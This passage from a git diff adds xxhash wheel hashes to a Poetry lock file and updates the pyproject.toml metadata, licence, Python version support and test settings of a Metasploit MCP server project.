"xxhash-3.8.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:1da00075f1605794298878cb587f7533329693e2a0c45bbd25d6353644add675"}, + {file = "xxhash-3.8.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ba73801c87d44fa37b2a5feab3004f0a654506027bf032ceb154d94bb74ea772"}, + {file = "xxhash-3.8.0-cp312-cp312-win32.whl", hash = "sha256:0b0836dee6022e22ba516ebfa8f76c6e4bda08d6c166c553e40867bac89e4a54"}, + {file = "xxhash-3.8.0-cp312-cp312-win_amd64.whl", hash = "sha256:3bc2a09b98b8f85c75208cd2b2d2aecf40c77ecb2d72f6bf9757db51a98d3499"}, + {file = "xxhash-3.8.0-cp312-cp312-win_arm64.whl", hash = "sha256:208e6a8b93426896d803224e9fabe26f8b9c651e8381a80b1fa31812faa091e3"}, + {file = "xxhash-3.8.0-cp313-cp313-android_21_arm64_v8a.whl", hash = "sha256:36434c1d1b0a4729df1fa26ab11bffed1ba52666c0beb605c98a995b470cd143"}, + {file = "xxhash-3.8.0-cp313-cp313-android_21_x86_64.whl", hash = "sha256:a5e6497cefcb2d67f1745c66df9718a99112583af6cc2b70da0312a2eb939f1e"}, + {file = "xxhash-3.8.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:5b00b82f1be708da9404fefd658cf5cf3be5ee3be2aae4bfe3b874255badd342"}, + {file = "xxhash-3.8.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:38b0cb0ab7f283413b7cace2bf710d7cf8f702ea82cbc683908691d52028a89b"}, + {file = "xxhash-3.8.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:084312171a9798dea85e924b2674f5e1a44933050a1ea1cb1c6b1364e004c66c"}, + {file = "xxhash-3.8.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:6a1a9e845bd3bbc57d9356819e0d198fe23282e0576b398a6282a0f8fdc75aef"}, + {file = "xxhash-3.8.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:9ffbde09743ebaf8957b8426948fbe85eab5e5de0d29eec407fcff5a2812a3cc"}, + {file = "xxhash-3.8.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:a6dee3952c2b6e82e7f1dbc5dbc6167f9c84126851def7926e32827c2816169c"}, + {file = "xxhash-3.8.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bf8ff8e12416c9fa05b43c7509b9332d6ffc4090413c4e7a1dee8599763b6d59"}, + {file = "xxhash-3.8.0-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:cebbb322df4d97d8ef2704f49ed2f6f21f6702fafa0dc0c2a6ae70e904205689"}, + {file = "xxhash-3.8.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9a8d08707b4100ebce598fc59fadf04b42d79b855818d6994f8f0fffd1df8edb"}, + {file = "xxhash-3.8.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:cf5427602dda15d8ce3c6d870d29bf07d43975f59c9d6d3f7f6f93a901b28b12"}, + {file = "xxhash-3.8.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:97d7bd715ea5050b6c9638b52c62adf3055b648ef6eee6892a4cd9697b530191"}, + {file = "xxhash-3.8.0-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0cd25bbbab37d898f6e5a90905ce6ae2c1f8bd6668c07cef406fb3e8c8c570dd"}, + {file = "xxhash-3.8.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3e30e5c057f483c3c53a11b53eba091a737cb19dfead36c8b23bf5beb4a169cd"}, + {file = "xxhash-3.8.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:07dd44d992ebd456752bc25b1c42cd172d94bd8cb24049300449ad0716081c3a"}, + {file = "xxhash-3.8.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:3118600a3102d4707dc1c485dbc3acbbbf37819069ad3e7854e77b923745d76b"}, + {file = "xxhash-3.8.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:7ed37b0c95d8fb3fbaad5e13cc0a9727eb8739d1d54b2adef28108c250cada3a"}, + {file = "xxhash-3.8.0-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:bb043da412e478e7b1db3407051124b85b133803794d3809ad6d92870b304fc7"}, + {file = "xxhash-3.8.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:196fc132683d9311a0bdce8388ee52bfa07fdc1987cc428a27956e47ccd7b50d"}, + {file = "xxhash-3.8.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:dfb5411af3b77c75e99db100aa15c5ba623c85d72c565e4d7a0ed1a986ff766e"}, + {file = "xxhash-3.8.0-cp313-cp313-win32.whl", hash = "sha256:6d1d6179e26830c6690fac63f76d372f69714b977e12ca9c42188a60f51c59f5"}, + {file = "xxhash-3.8.0-cp313-cp313-win_amd64.whl", hash = "sha256:7c92427a56a12f4d5c7bb26dbb9e9a4658c313ecb6c2f1dca349902e3822df07"}, + {file = "xxhash-3.8.0-cp313-cp313-win_arm64.whl", hash = "sha256:9fc8453642c1c6d38b4fbac8901c2452ce1fa88b27f003bfee6703cbfae9bd63"}, + {file = "xxhash-3.8.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:efcacb644a915f010dc477447b045e5dcde1afaa40d16b2f0f8e7cd99c9e1635"}, + {file = "xxhash-3.8.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:d1e0dbc510cff94c5efbcc2b82c28b41519fad09b5b1f9f3d99c63e3940e49a0"}, + {file = "xxhash-3.8.0-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:ff19d016a41c90d1f519005887191896b6da1274e1d5d48b347e17eb798ffc5a"}, + {file = "xxhash-3.8.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:aafc3eab99c50508852e34307e9565933bf128cad084cac7d2471b7ab1743de0"}, + {file = "xxhash-3.8.0-cp313-cp313t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:5e521368ed79ae6c4d31e1e417726643c49d7d6e286f4fdabf9a8330ed8a8ff7"}, + {file = "xxhash-3.8.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6a0127688d116ec0c225e7e1f744e3f206de2b8822ffeb31a9ab5cc6384f92c5"}, + {file = "xxhash-3.8.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:22c0b17da2f9fea0f8836538512249871b359141616bad44c58d238b5f011f40"}, + {file = "xxhash-3.8.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3d49465646b1a5e3b1729c5f636e05676a2fb52e203e3b22a5411c416c4c5302"}, + {file = "xxhash-3.8.0-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c2853dea1e30ed00ca87dd87d76da5da063d302b823b3fb80ccd18421de0f251"}, + {file = "xxhash-3.8.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:82f0102a2a3760287b7cd7f9e0a30edd4c3b18762ed1a242208d43c8e2bcf30b"}, + {file = "xxhash-3.8.0-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:b8414a66a7524596d841cad5dc1adab6ce76848db5ab2b83db911fbdab1417af"}, + {file = "xxhash-3.8.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:0dbaa73df10414ea1e41b98691a9d8241d4c47ad8d02c726587a3cda05278e53"}, + {file = "xxhash-3.8.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:43fc9aaba10ab4267c90793601f60d35c3c9caa1544eceb483618a71ad9ce7da"}, + {file = "xxhash-3.8.0-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:ec5eb3d28fbb9802c6d2526f772133a06c91d6f03756fcc67c834b642ffdd51d"}, + {file = "xxhash-3.8.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:2b77c301b644cd9b4d0749a3291081ec2048a6bef7fe0487c993bbba3efb9ce0"}, + {file = "xxhash-3.8.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:d7ece11a132325353890a144c30119073617a1299c593ca29b96c315b07e1edd"}, + {file = "xxhash-3.8.0-cp313-cp313t-win32.whl", hash = "sha256:b21db84df7b9d54d9e4195a964243c1b32d745c6fbc0cfcfffee1d4bd297196a"}, + {file = "xxhash-3.8.0-cp313-cp313t-win_amd64.whl", hash = "sha256:0643b7d9f598f6da6f1f6b899f4358250d0fb853242e2d712cbde27bf5a99d29"}, + {file = "xxhash-3.8.0-cp313-cp313t-win_arm64.whl", hash = "sha256:4bbacf2e938526969f8ab3334d4ac3da14ea059e1dfd1339a92f9091467e750f"}, + {file = "xxhash-3.8.0-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:557e2a7cc0b6a634cf9c8e5c975d96b7da796fdeb1824569d760cf0f25b6f33f"}, + {file = "xxhash-3.8.0-cp314-cp314-android_24_x86_64.whl", hash = "sha256:dad744d1613cbfddb844dad93adbffbd51c3e9f53ceea9568f7c3b94bedc19a4"}, + {file = "xxhash-3.8.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:953f29b22c04b123cf3cd2e08bccde3a73184aeda5a1038e0054cb3355644120"}, + {file = "xxhash-3.8.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:aa699e0253ceffecf41cae858d0a11f2439d6874a0890b556387bffe11dc1c08"}, + {file = "xxhash-3.8.0-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:e232c82466babc13e956d53aa84d0149660ed6886bc195248bb4d03bf2eca301"}, + {file = "xxhash-3.8.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:7f75fd1c6a5028f345cd4a8c52f4774d2e5b7809fa58111c60a5502b528914a4"}, + {file = "xxhash-3.8.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:b49d7e09b211a1ad658dbe2dbf6561eb92f2e6926bd1101e2d023178371f2d6f"}, + {file = "xxhash-3.8.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:ceb702bc8e56b7f1f1413d42aa294045b9a0e4c9888e07edc5cd153e8c4c948f"}, + {file = "xxhash-3.8.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b4f3c96e06bdb122e8cc84f5c7088579f3102b828efd62e9dc964a9d17c7b89e"}, + {file = "xxhash-3.8.0-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:415a8d06ac9bea36b1e06b603a347e0f62401042a97d7bfccec8ae2da12ad784"}, + {file = "xxhash-3.8.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7f5ccdd2deb5dce31201cc0eec94388cce97e681429073db50903fab0a0a8a0d"}, + {file = "xxhash-3.8.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:1a6cf81bc699d3a5ebfcf2fdb2a7bd2e096708d7de193f6f322944a02ba00953"}, + {file = "xxhash-3.8.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e4d12a04d7ffc0359f0eadc4535a53cab113044c8d2f262c7e9a56950a5ed50e"}, + {file = "xxhash-3.8.0-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d209373fcb66138c652cf843385ee60866e50158a7869bbbf8b322d9a822b765"}, + {file = "xxhash-3.8.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:b88a3fe28277811e599efa6e1c96abce8a77d60dd79c94da7a9b5c377c172b7b"}, + {file = "xxhash-3.8.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:5d5a888a5ef997cb35f1aad346eb861cd87ecfe24f5e25d5aa4c9fd1bd3950c2"}, + {file = "xxhash-3.8.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:de2836e0329c01555957a603dcd113c337c577081153d691c12a51c5be3282b0"}, + {file = "xxhash-3.8.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:4bc74eedb0dd5827b3be748bacf9fdb50004037a3e16c7ddb5defae2682cef71"}, + {file = "xxhash-3.8.0-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:c571b03d59e339b010dc84f15a6f1cff80212f3a3116c2a71e2303c95065b1f6"}, + {file = "xxhash-3.8.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:87626acdd6e2d762c588a4ffe94258c5ef34fb6049a4a3b25019bdb7f9267a9b"}, + {file = "xxhash-3.8.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:076d8a4fb290af952826922aa42a46bfc64caa31662ce4e2925a445d0e6ce57f"}, + {file = "xxhash-3.8.0-cp314-cp314-win32.whl", hash = "sha256:52f8c7c9833d947e60df830671f6eca810d7c667051243985a561c79f1a3d545"}, + {file = "xxhash-3.8.0-cp314-cp314-win_amd64.whl", hash = "sha256:4fbfcb7dd307e23189a71050f6e27746926590330f37d5fd2ffcb8ea78de1f42"}, + {file = "xxhash-3.8.0-cp314-cp314-win_arm64.whl", hash = "sha256:ecef1e65b4715c7326002073763fe94cc44c756a0698508abb915ab3d6be6e3d"}, + {file = "xxhash-3.8.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:02ed856a765cb6e006168595d9455ac8c3c4d60cc04cd47a158a1ac677d68f0f"}, + {file = "xxhash-3.8.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:eec30461a7b457611098ba7ab09363e36c8b2645b4687fb6f3d405bb646e3410"}, + {file = "xxhash-3.8.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:b471744912d1ce5dd6d3975b7525e77518359ebf3aa1bd7d501e199f5ae488ea"}, + {file = "xxhash-3.8.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3748d71202bf3f279e77cb8b273b6d0f29d1bcaefb6ce6cb03b95f358863ba37"}, + {file = "xxhash-3.8.0-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3b3bf59ea94b2a23b0f992769804ab9401d5cdcd9df0062fe2cd78a491ae8851"}, + {file = "xxhash-3.8.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:40f061aa5379eba249e9367b179515571e632be6d1b6f55ac139e6fe3d08463c"}, + {file = "xxhash-3.8.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:680d70896a61fc920cc717a0a8fe8a9fb5858c563184666e31874caa54a16d9e"}, + {file = "xxhash-3.8.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:14973fbdee136588e57447401b521f466a42faca41eecdf35123c73103512ca8"}, + {file = "xxhash-3.8.0-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:96c6bca2486cdc58b125966817a92a6abe6ef1fab86b2f8798a7e93488782540"}, + {file = "xxhash-3.8.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:0b1109ae238e932d8482f9cb568b56a405cc73bc7a36b837844087f1298dd218"}, + {file = "xxhash-3.8.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:1da5db0863400eade7c5a31969754d1392189f26b4105f6631da2c6c7ea3bccc"}, + {file = "xxhash-3.8.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:c61b5a0f21ace5e886f177cce43826d85a7c84e35a9e17cb6d1b4ac0b7a7d833"}, + {file = "xxhash-3.8.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:1db4f27835a450c7e729bc9330c6e702113711cea1f873d646e3a31fe96a9732"}, + {file = "xxhash-3.8.0-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:4788a470f946df34383abc6cd345088c13f897a5ee580c4cdd12b1d32ad218ef"}, + {file = "xxhash-3.8.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:3b6dfa83096cb1e54d082acebaf67f0c42667c56dc48ba536a76cac08d46391e"}, + {file = "xxhash-3.8.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:57ec0ba5299a9a7df376063c139f5826ff0c89b438703939af3d252c31ca96a4"}, + {file = "xxhash-3.8.0-cp314-cp314t-win32.whl", hash = "sha256:d9a61f23b999baeb84102aba767b1b3e94958eab94e6c11b08927e7dc4200795"}, + {file = "xxhash-3.8.0-cp314-cp314t-win_amd64.whl", hash = "sha256:61069b260fff84116235bb93845f319284dc6b42527c215af59264f4c2ee3468"}, + {file = "xxhash-3.8.0-cp314-cp314t-win_arm64.whl", hash = "sha256:73cecd431b4f572d38fcf1a7fe85b30eb987778ef9e7a70bc9ffcf2d64810e6f"}, + {file = "xxhash-3.8.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:fbcbbfa24a474793da405731d123ae17f4e9a1c38fb4e67acc4dfc5fd0b7022a"}, + {file = "xxhash-3.8.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:84101596d32201b35339ba788eb39574690a7516fb5b1b9165f09de9fee7ad1e"}, + {file = "xxhash-3.8.0-cp38-cp38-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:564a85f94635da981a1087314ef57fce6e0d27aef22390b60319b01a99fe7991"}, + {file = "xxhash-3.8.0-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9d011de14fe14b6c31ab1d4dc400bd5ef187c44446e68da15a5039fae46a8494"}, + {file = "xxhash-3.8.0-cp38-cp38-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:93b263e609d9be516f3df9b1619617376d0335111f013cfa00d7fc4b2e1d5a3d"}, + {file = "xxhash-3.8.0-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5b60d8e3c3340b679851ee268288deef9cdc20d8b1a77c0c0d2d2f3849a16ee1"}, + {file = "xxhash-3.8.0-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:96fba2ec05a43e5b9b8070f68b42d0a91f7aeefe4dc425775197ec1c5f8c2c63"}, + {file = "xxhash-3.8.0-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8a0325359942e9cbc2c04529f462bf637e73e0657a277b7d64d61986d24d539b"}, + {file = "xxhash-3.8.0-cp38-cp38-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c381537f7a918c8b93f236e7df495c6cd0b4eeffa747c74b568caef4e073ce1f"}, + {file = "xxhash-3.8.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:5f7f9ba111d3b4a8d7c6edfd7e9ab7c67efb98234907520f4c6411a2b2039cb3"}, + {file = "xxhash-3.8.0-cp38-cp38-musllinux_1_2_armv7l.whl", hash = "sha256:ecdbbe1c5de579435d3879d53d35d681d626836bdde333577a9491000723bb6a"}, + {file = "xxhash-3.8.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:1e9fb591e5df85a787c0303b1d01487ab04820f6607d7ba148491005226fd968"}, + {file = "xxhash-3.8.0-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:c7c24094d990d8bdf78132b22891c6aa116656dfe68f77b1424e7e2ae0d4c0bb"}, + {file = "xxhash-3.8.0-cp38-cp38-musllinux_1_2_riscv64.whl", hash = "sha256:33c6f8adf3cc1745ae17e8c1053e7c61f9640cb3de35721e706dcbf1fecd3f51"}, + {file = "xxhash-3.8.0-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:be48b4db998927daa182c3b3b18101faa24d6e283ca2192e40b686e3ad0b905b"}, + {file = "xxhash-3.8.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:bf57b05eaf75b567259ff6f2c9045f26621f0658d18b123eee53b1fa81318f78"}, + {file = "xxhash-3.8.0-cp38-cp38-win32.whl", hash = "sha256:a484492df0b094a3bba94f6aff7324e30aec95a2a3e9caac6806838cf8d6dd3c"}, + {file = "xxhash-3.8.0-cp38-cp38-win_amd64.whl", hash = "sha256:5685977fa6bcf18aa408492ca3960325f42a23a1df3df5bf3ffc3840b67f61d3"}, + {file = "xxhash-3.8.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:84b8abc80329921e85cd02debd15a5247ebd8de38f8952bec27f241628ef6714"}, + {file = "xxhash-3.8.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:c02c23fe543bacc471b62b4c8af150bb53f72cb2c5878267d589182d36b4669b"}, + {file = "xxhash-3.8.0-cp39-cp39-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:c1e0f01748df88c0c470a6f49a00c60fcbe6624ce8fb101285a94b5e0a11e942"}, + {file = "xxhash-3.8.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:04faeb2290c0596b25f8509dbabe8b821461f04eb9097b74cc8b486d571087fd"}, + {file = "xxhash-3.8.0-cp39-cp39-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c0e976ef1387cde8c1d0c81450ee6ab5c8c75b637c8fb4a3791769cdd301dddd"}, + {file = "xxhash-3.8.0-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ed377642dbc001d2197b0742f31fe3b72fc4fef2b29ee1916075745a423e48b8"}, + {file = "xxhash-3.8.0-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:c10f98df550135978530ae87d0ffc4421e1580a353bb0d7c815f05ca06ab15f3"}, + {file = "xxhash-3.8.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c9eaed16c1581478ffbf66f31f9d6db86346e8eb36fecb96ef742aea4a05c876"}, + {file = "xxhash-3.8.0-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:654541773668385e162f18f001955bb5cddc9490beee69684061ecb3004bb46b"}, + {file = "xxhash-3.8.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:369ed0efff8216f9f3502eb73694c22e4e8870ad24b454b5d0e7df01a3b29320"}, + {file = "xxhash-3.8.0-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:56c28a1f244432af91eb89d4170b97ece5e81286009638f50a99dfd098bd8c21"}, + {file = "xxhash-3.8.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:c2dcd8e626d5d130163064a64e7825b978a5c66febb55fe16018d09ce8bd7a0d"}, + {file = "xxhash-3.8.0-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:61d99283533b7aeb6cd159590fb1c3df9bdb59f639ff358a6b6e74088838b967"}, + {file = "xxhash-3.8.0-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:48536e880c8c63fb7021c33172e776afb086817a5a4a9cf3ca12c1a4f0e748cb"}, + {file = "xxhash-3.8.0-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:f75a8e7714075f5e16c8be1c08a0716b12e04846aea0403440302f354a6bd49b"}, + {file = "xxhash-3.8.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:f01e382b0d2ebdff863948e59560c98e7a8c02ba1e04c21f8afcc7df37f07626"}, + {file = "xxhash-3.8.0-cp39-cp39-win32.whl", hash = "sha256:3193f7c98b9d563d1986bf4dec9a584230bbe230b711e399c1547e852cbedfee"}, + {file = "xxhash-3.8.0-cp39-cp39-win_amd64.whl", hash = "sha256:ae7152fa6ce8e8304d6865a2b9e6b49cff27dcb8ca28967a4362a71870354403"}, + {file = "xxhash-3.8.0-cp39-cp39-win_arm64.whl", hash = "sha256:c35c889d9e58cb72fead4f14717faf6528c95c5aa77d469f724dba28242b976f"}, + {file = "xxhash-3.8.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ba14843f20df2dce6ff6684411a56ae53da44336546c55f8947e70aebb8cdd21"}, + {file = "xxhash-3.8.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:ec6666a5311beae3f6cb5f2fd28c2b77e2df32702c8206f45c786a6ef81b3751"}, + {file = "xxhash-3.8.0-pp311-pypy311_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:1ec9afdd53ac5f4fd1d8918807ba6c35ba62269086af794884b9f168a73331ea"}, + {file = "xxhash-3.8.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:68594a54be2eb5992d9b0d0a0ec7c32a7a8e930f06d6cb951d69708055680994"}, + {file = "xxhash-3.8.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:591d5eb256abf59438800ace2730ac33f77bc6ab8c3623fab1ea24d9d8b28f3a"}, + {file = "xxhash-3.8.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:7f4eecf800275e62b6bcb41e65f361f2277cc886c2bff4e299959d701e5fcf93"}, + {file = "xxhash-3.8.0.tar.gz", hash = "sha256:d72b2204f37840b0f16f34192c09b994b97bd25823d723d47a1eddfacf06eb43"}, +] + [[package]] name = "zipp" version = "3.23.1" @@ -3370,7 +3767,7 @@ files = [ ] [package.extras] -cffi = ["cffi (>=1.17,<2.0) ; platform_python_implementation != \"PyPy\" and python_version < \"3.14\"", "cffi (>=2.0.0b0) ; platform_python_implementation != \"PyPy\" and python_version >= \"3.14\""] +cffi = ["cffi (>=1.17,<2.0) ; platform_python_implementation != \"PyPy\" and python_version < \"3.14\"", "cffi (>=2.0.0b) ; platform_python_implementation != \"PyPy\" and python_version >= \"3.14\""] [metadata] lock-version = "2.1" diff --git a/pyproject.toml b/pyproject.toml index 3fecc7a..7bd4fc9 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -2,9 +2,14 @@ name = "metasploit-mcp" version = "3.0.0" description = "Metasploit MCP Server - Provides core Metasploit functionality via the Model Context Protocol" -authors = ["MetasploitMCP Contributors"] +authors = [ + "GH05TCREW ", + "cbdmaul ", + "MetasploitMCP Contributors", +] +maintainers = ["cbdmaul "] readme = "README.md" -license = "MIT" +license = "Apache-2.0" homepage = "https://github.com/cbdmaul/MetasploitMCP" repository = "https://github.com/cbdmaul/MetasploitMCP" documentation = "https://github.com/cbdmaul/MetasploitMCP/tree/main/docs" @@ -12,15 +17,14 @@ keywords = ["metasploit", "mcp", "security", "penetration-testing", "rpc"] classifiers = [ "Development Status :: 4 - Beta", "Intended Audience :: Information Technology", - "Intended Audience :: System Administrators", - "License :: OSI Approved :: MIT License", + "Intended Audience :: System Administrators", + "License :: OSI Approved :: Apache Software License", "Operating System :: OS Independent", "Programming Language :: Python :: 3", - "Programming Language :: Python :: 3.8", - "Programming Language :: Python :: 3.9", "Programming Language :: Python :: 3.10", "Programming Language :: Python :: 3.11", "Programming Language :: Python :: 3.12", + "Programming Language :: Python :: 3.13", "Topic :: Security", "Topic :: System :: Networking", "Topic :: System :: Systems Administration", @@ -57,14 +61,23 @@ requires = ["poetry-core"] build-backend = "poetry.core.masonry.api" [tool.pytest.ini_options] -minversion = "6.0" -addopts = "-ra -q --strict-markers" +minversion = "7.0" +addopts = "-ra --strict-markers --disable-warnings" testpaths = ["tests"] +python_files = ["test_*.py"] +python_classes = ["Test*"] +python_functions = ["test_*"] asyncio_mode = "auto" markers = [ "unit: marks tests as unit tests", - "integration: marks tests as integration tests", - "slow: marks tests as slow running" + "integration: marks tests as integration tests", + "slow: marks tests as slow running (use --run-slow to run)", + "network: marks tests that require network access (use --run-network to run)", +] +filterwarnings = [ + "ignore::DeprecationWarning", + "ignore::PendingDeprecationWarning", + "ignore:.*unclosed.*:ResourceWarning", ] [tool.coverage.run] @@ -85,7 +98,7 @@ exclude_lines = [ [tool.black] line-length = 100 -target-version = ['py38', 'py39', 'py310', 'py311', 'py312'] +target-version = ['py310', 'py311', 'py312', 'py313'] include = '\.pyi?$' extend-exclude = ''' /( diff --git 